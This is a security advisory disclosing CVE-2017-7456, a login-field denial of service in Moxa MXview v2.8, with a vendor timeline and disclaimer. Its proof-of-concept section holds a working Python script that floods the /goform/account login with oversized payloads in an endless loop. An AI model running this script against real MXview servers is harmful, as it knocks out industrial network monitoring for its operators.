CVE-2017-7456 Moxa MXview v2.8 Denial Of Service

[+] Credits: John Page AKA hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/MOXA-MXVIEW-v2.8-DENIAL-OF-SERVICE.txt
[+] ISR: ApparitionSec



Vendor:
============
www.moxa.com



Product:
===========
MXView v2.8

Download:
http://www.moxa.com/product/MXstudio.htm

MXview Industrial Network Management Software.

Auto discovery of network devices and physical connections
Event playback for quick troubleshooting
Color-coded VLAN/IGMP groups and other visualized network data
Supports MXview ToGo mobile app for remote monitoring and notification—anytime, anywhere.



Vulnerability Type:
===================
Denial Of Service



CVE Reference:
==============
CVE-2017-7456



Security Issue:
================
Remote attackers can DOS MXView server by sending large string of junk characters for the user ID and password field login credentials.



Exploit/POC:
=============
import urllib,urllib2

print 'Moxa MXview v2.8 web interface DOS'
print 'hyp3rlinx'

IP=raw_input("[Moxa MXView IP]>")

PAYLOAD="A"*200000000

url = 'http://'+IP+'/goform/account'
data = urllib.urlencode({'uid' :  PAYLOAD, 'pwd' : PAYLOAD, 'action' : 'login'})

while 1:
    req = urllib2.Request(url, data)
    res = urllib2.urlopen(req)
    print res



Network Access:
===============
Remote



Severity:
=========
Medium



Disclosure Timeline:
==========================================================
Vendor Notification:  March 5, 2017
Vendor confirms vulnerability : March 21, 2017
Vendor "updated firmware April 7, 2017" : March 29, 2017
April 9, 2017 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).